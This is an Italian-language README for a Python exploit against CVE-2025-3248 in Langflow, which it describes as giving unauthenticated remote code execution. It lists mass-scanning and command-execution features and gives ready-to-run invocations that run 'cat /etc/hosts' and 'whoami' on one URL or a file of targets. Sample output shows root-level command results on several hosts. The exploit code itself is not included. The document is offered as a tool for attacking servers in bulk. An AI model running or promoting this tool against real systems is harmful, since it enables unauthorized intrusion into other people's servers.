Exploit di Langflow CVE-2025-3248

Un exploit basato su Python per CVE-2025-3248, che consente ad attaccanti remoti non autenticati di eseguire codice arbitrario su istanze Langflow vulnerabili tramite richieste HTTP appositamente create.

Caratteristiche

• Scansione di un singolo URL o in massa da file
• Rilevamento automatico delle vulnerabilità
• Capacità di eseguire comandi
• Output dettagliato con informazioni sui tempi
• Risultati salvati in file separati per i target vulnerabili e non vulnerabili
• Statistiche di benchmark per le prestazioni della scansione

Utilizzo

Scansione di un singolo URL

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Scansione in massa da file

python CVE-2025-3248.py -f targets.txt

Esecuzione di comandi personalizzati

python CVE-2025-3248.py -f targets.txt -c "whoami"

Output di esempio

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

fonte: https://github.com/verylazytech